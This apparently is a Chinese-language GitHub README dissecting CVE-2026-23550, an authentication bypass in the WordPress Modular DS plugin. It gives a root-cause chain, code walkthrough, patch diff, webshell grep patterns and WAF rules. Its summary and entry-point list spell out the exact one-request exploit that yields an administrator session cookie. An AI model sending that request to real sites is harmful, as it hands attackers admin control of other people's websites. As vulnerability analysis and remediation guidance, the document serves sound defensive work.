1beelze/CVE-2026-23550

GitHub: 1beelze/CVE-2026-23550

针对 WordPress Modular DS 插件 CVSS 10.0 未授权管理员接管漏洞(CVE-2026-23550)的完整根因分析、源码审计与教育性概念验证项目。

Stars: 0 | Forks: 0

``` ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝ ``` # CVE-2026-23550 ### Modular DS · 未经身份验证的管理员会话接管 [![CVSS](https://img.shields.io/badge/CVSS-10.0-critical?style=for-the-badge&labelColor=black)](https://nvd.nist.gov/vuln-metrics/cvss) [![Type](https://img.shields.io/badge/Type-Privilege%20Escalation-red?style=for-the-badge&labelColor=black)](#) [![Auth](https://img.shields.io/badge/Auth-Unauthenticated-orange?style=for-the-badge&labelColor=black)](#) [![Vector](https://img.shields.io/badge/Vector-Network-yellow?style=for-the-badge&labelColor=black)](#) [![Status](https://img.shields.io/badge/Status-Actively%20Exploited-critical?style=for-the-badge&labelColor=black)](#) [![Patched](https://img.shields.io/badge/Patched-v2.5.2-brightgreen?style=for-the-badge&labelColor=black)](#) **根因分析 · 源码走读 · 补丁对比 · 教育 PoC** _作者:**Beelze** ( `zeroday 1diot9` )_
## 📌 TL;DR ``` GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1 Host: victim.tld → HTTP/1.1 302 Found Location: /wp-admin/index.php Set-Cookie: wordpress_logged_in_=... ``` **结果:** 完全的管理员接管。攻击者可以安装恶意插件,植入 webshell,创建备用管理员账户,并窃取数据库数据。 ## 📖 目录 - [受影响版本](#-affected-versions) - [攻击面](#-attack-surface) - [根因分析](#-root-cause-analysis) - [源码走读](#-source-code-walkthrough) - [补丁对比 (2.5.1 → 2.5.2)](#-patch-diff-251--252) - [PoC](#-proof-of-concept) - [检测与修复](#-detection--remediation) - [时间线](#-timeline) - [参考资料](#-references) - [免责声明](#-disclaimer) ## 🎯 受影响版本 | 字段 | 值 | |:---|:---| | **插件名称** | Modular DS | | **Slug** | `modular-connector` | | **受影响版本** | `<= 2.5.1` | | **已修复版本** | `2.5.2` | | **活跃安装量** | ~40,000 | | **CVSS v3.1** | `10.0 / CRITICAL` (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`) | | **CWE** | CWE-287 · CWE-306 · CWE-863 | | **OWASP** | A07 — 身份识别和身份验证失败 | ## 🎯 攻击面 该漏洞会触发插件中嵌入的**自定义 Laravel 路由器**。该插件自带 HTTP kernel(`Ares/Framework`),它挂载到 WordPress 的 `parse_request` action 上,以便在 WordPress 自身的路由接管**之前**拦截请求。 **前置条件:** 无(插件需已安装并激活,且连接到 Modular SaaS —— 这是所有正式安装的默认行为)。 **入口点**(满足任意一个即可): ``` /api/modular-connector/login/?origin=mo&type= /?rest_route=/api/modular-connector/login/&origin=mo&type= /index.php?rest_route=/api/modular-connector/login/&origin=mo&type= /wp-load.php?origin=mo&type= ``` ## 🚩 根因分析 该漏洞并非单一的缺陷——它是一个**由五个复合缺陷组成的链条**。每一层如果孤立来看似乎都是可防御的;但组合在一起,它们就会崩溃成一次无需身份验证的管理员接管。 ``` flowchart TB A["🌐 Attacker Request
?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()
Gate opens on query params alone"] B --> C["② Router::findRoute()
URL implicitly resolved to /login route"] C --> D["③ bindOldRoutes() filter
Falls through on unknown type"] D --> E["④ ModularGuard::check()
Validates server OAuth, NOT request"] E --> F["⑤ AuthController::getLogin()
Falls back to first admin user"] F --> G["🔑 Set-Cookie: wordpress_logged_in_*
Attacker = Admin"] style A fill:#ff4444,stroke:#000,color:#fff style G fill:#00cc44,stroke:#000,color:#fff style B fill:#ff8888,stroke:#000 style C fill:#ffaa66,stroke:#000 style D fill:#ffcc44,stroke:#000 style E fill:#ff8888,stroke:#000 style F fill:#ff4444,stroke:#000,color:#fff ``` ### 📋 缺陷总结 | # | 层级 | 文件 | 根本问题 | |:-:|:---|:---|:---| | **①** | Bootstrap 验证关卡 | `HttpUtils.php:64` | 仅使用 `origin=mo` 进行查询检查,没有加密/nonce | | **②** | URL→路由匹配器 | `Router.php:20` | 隐式 URL 解析直接传递给过滤器 | | **③** | 路由覆盖过滤器 | `RouteServiceProvider.php:46` | 未知 `type` 直接穿透,保留原始路由 | | **④** | Auth guard | `ModularGuard.php:16` | 验证的是服务端的 OAuth 状态,而非请求身份 | | **⑤** | 登录控制器 | `AuthController.php:66` | 缺失输入时静默回退到 `getAdminUser()` | ## 🔬 源码走读
① Bootstrap 验证关卡 — HttpUtils::isDirectRequest() **文件:** `vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64` ``` public static function isDirectRequest(): bool { $request = app('request'); $userAgent = $request->header('User-Agent'); $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent); $originQuery = $request->has('origin') && $request->get('origin') === 'mo'; $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type'); if ($isFromQuery) { return true; // ⚠️ query-param only, no signature } return false; } ``` **问题:** 这种“直接请求”模式——旨在识别来自 Modular SaaS 后端的合法调用——仅通过**明文查询参数**进行验证,没有 HMAC,没有 JWT,没有签名的 nonce,也没有 IP 白名单。任何攻击者都可以轻易切换这个开关。
② URL→路由隐式解析 — Router::findRoute() **文件:** `vendor/ares/framework/src/Foundation/Routing/Router.php:20` ``` protected function findRoute($request) { $this->current = $route = apply_filters( 'ares/routes/match', $this->routes->match($request), // ⚠️ URL resolved to route BEFORE filter runs true ); $route->setContainer($this->container); $this->container->instance(Route::class, $route); return $route; } ``` **问题:** Laravel 的 `routes->match($request)` 在安全过滤器甚至还没开始运行**之前**,就将 `/api/modular-connector/login/xxx` 解析成了 `login` 路由(受 auth 保护)。过滤器接收该路由作为输入,这相当于把证明该路由非法的负担交给了过滤器,而不是明确地对它进行授权。
③ 过滤器穿透 — bindOldRoutes() **文件:** `src/app/Providers/RouteServiceProvider.php:46` ``` public function bindOldRoutes($route, $removeQuery = false) { if (!HttpUtils::isDirectRequest()) return $route; $request = request(); $type = $request->header('x-mo-type', $request->get('type')); if ($type === 'request') { /* rebind via signed OAuth call */ } if ($type === 'oauth') { /* rebind to /oauth handler */ } if ($type === 'lb') { /* rebind to /schedule/run */ } return $route; // ⚠️ Unknown type → route from URL stays as-is } ``` **问题:** 过滤器仅在 `type` 为三个已知值之一时才会覆盖路由。当 `type` 为任意值(如 `x`、`foo`、空值)时,它会直接穿透并原封不动地返回通过 URL 解析出的路由。那个由 URL 驱动的 `login` 路由——理论上受 auth 保护——继续进入 middleware 评估阶段。
④ 失效的 Guard — ModularGuard::check() **文件:** `vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16` ``` public function check() { return !is_null($this->user()); } public function user() { $client = OauthClient::getClient(); try { $client->validateOrRenewAccessToken(); // ⚠️ checks SERVER state $this->user = ['id' => $client->getClientId()]; } catch (\Throwable $e) { return null; } return $this->user; } ``` **问题:** 自定义的 `modular` guard 对**传入请求的身份进行了零验证**。它只验证插件本身是否仍与 Modular SaaS 保持着有效的 OAuth 会话。由于几乎每个安装都连接到了后端(否则插件就毫无用处),该 guard 会对**任何到达它的请求**返回 `true`。 这是最致命的缺陷。即使缺陷 ①–③ 被修复,单凭这个失效的 guard 仍然会允许未授权访问 `auth` middleware 组中的每一个路由。
⑤ 管理员回退 — AuthController::getLogin() **文件:** `src/app/Http/Controllers/AuthController.php:66` ``` public function getLogin(SiteRequest $modularRequest) { $user = data_get($modularRequest->body, 'id'); // null — binding never populated if (!empty($user)) { $user = get_user_by('id', $user); } if (empty($user)) { Cache::driver('wordpress')->forget('user.login'); $user = ServerSetup::getAdminUser(); // 💣 first admin on the site } $cookies = ServerSetup::loginAs($user, true); // 💣 issue WP session cookie return Response::redirectTo(admin_url('index.php'))->withCookies($cookies); } ``` **问题:** 只有在过滤器链中 `type === 'request'` 时,`SiteRequest` route-model binding 才会被填充。对于未知的 `type`,`$modularRequest` 作为一个空对象到达控制器。随后,控制器静默地**回退到第一个管理员用户**,并向他们发放 WordPress 登录 cookie。任何人都可以这样堂而皇之地走进来。
## 🩹 补丁对比 (2.5.1 → 2.5.2) ``` ━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━ - $route = apply_filters('ares/routes/match', $this->routes->match($request), true); + $route = apply_filters('ares/routes/match', true); ━━━ src/app/Providers/RouteServiceProvider.php ━━━ - public function bindOldRoutes($route, $removeQuery = false) - { - if (!HttpUtils::isDirectRequest()) return $route; + public function bindOldRoutes($removeQuery = false) + { + $routes = app('router')->getRoutes(); + $route = $routes->getByName('default'); // 👈 always start from a 404 route + $route->bind(request()); + if (!HttpUtils::isDirectRequest()) return $route; ━━━ src/routes/api.php ━━━ + Route::get('default/{request}', function () { + abort(404); + })->name('default'); ``` ### 🔑 补丁理念 该修复**彻底移除了隐式的 URL→路由解析**。过滤器现在以一个硬编码为 `abort(404)` 的 `default` 路由开始,仅当 `type` 是三个明确列入白名单的值之一时,才会重新绑定到真实的控制器。在新的逻辑下,`type=x` 会产生一个 `404`——请求永远不会到达登录控制器,也就没有东西能让那个失效的 guard 发生遗漏了。 这是一种事后应用纵深防御的实践:尽管 `ModularGuard::check()` 在结构上依然薄弱,但对于受 auth 保护的路由来说,触达它的链条现在已经被切断了。 ## 🛠️ PoC ## 🛡️ 检测与修复 ### 紧急措施 - **升级到 `modular-connector >= 2.5.2`** —— 没有商量的余地。 - 如果升级受阻,**彻底停用该插件**。不存在任何配置变通方案。 ### 入侵评估 升级后,如果插件版本 ≤ 2.5.1 且自 2026-01-13 以来暴露在公网中,请假定已被入侵。检查以下项目: ``` # 1. 未经授权的管理员账户 wp user list --role=administrator --fields=ID,user_login,user_email,user_registered # 2. 2026-01-13 之后可疑的 plugin 安装 find wp-content/plugins/ -type d -newer /tmp/marker-jan13 # 3. 最近修改的核心文件 find wp-includes/ wp-admin/ -type f -mtime -30 # 4. Webshell(post-exploit 后植入的常见 payloads) grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/ ``` ### Web 服务器特征 (Apache / Nginx 日志) ``` GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+ GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo ``` ### WAF / ModSecurity 规则(临时缓解措施) ``` SecRule REQUEST_URI "@rx /api/modular-connector/login" \ "id:2026023550,phase:1,deny,status:403,log,\ msg:'CVE-2026-23550 exploit attempt (Modular DS)'" SecRule ARGS:origin "@streq mo" \ "chain,id:2026023551,phase:1,deny,status:403,log,\ msg:'CVE-2026-23550 direct-request bypass attempt'" SecRule ARGS:type "@rx .+" ``` ## 📅 时间线 | 日期 | 事件 | |:---|:---| | **2026-01-XX** | 供应商发布了 `2.5.2` 版本,包含静默安全修复 | | **2026-01-13 ~02:00 UTC** | 首次观察到在野利用 | | **2026-01-13** | Patchstack 发布安全通告 · 分配了 CVE-2026-23550 | | **2026-01-14** | The Hacker News, BleepingComputer, Security Affairs 进行了报道 | | **2026-07-05** | 发布了这篇教育性分析文章 | ## 📚 参考资料 - [Patchstack 安全通告](https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability) - [The Hacker News — 严重的 WordPress Modular DS 漏洞](https://thehackernews.com/2026/01/critical-wordpress-modular-ds-plugin.html) - [BleepingComputer — 活跃漏洞利用报告](https://www.bleepingcomputer.com/news/security/hackers-exploit-modular-ds-wordpress-plugin-flaw-for-admin-access/) - [Security Affairs — 管理员接管分析](https://securityaffairs.com/186976/security/actively-exploited-critical-flaw-in-modular-ds-wordpress-plugin-enables-admin-takeover.html) - [eSecurity Planet — 40,000 安装处于风险之中](https://www.esecurityplanet.com/threats/40k-wordpress-installs-at-risk-from-modular-ds-admin-bypass/) - [Rescana — 事件响应记录](https://www.rescana.com/post/cve-2026-23550-critical-wordpress-modular-ds-plugin-vulnerability-actively-exploited-for-admin-acce) - [WordPress 插件库 — modular-connector](https://wordpress.org/plugins/modular-connector/) ## 👤 作者
**Beelze** · `zeroday 1diot9` _高级 CVE 研究员 · 漏洞分析师 · PoC 构建者_
## ⚖️ 免责声明
_为安全研究社区 🎯 制作。_ **如果这个仓库帮助你学到了东西,请点个 ⭐ Star。**
标签:Modbus, Web安全, 会话劫持, 文件完整性监控, 蓝队分析, 身份验证绕过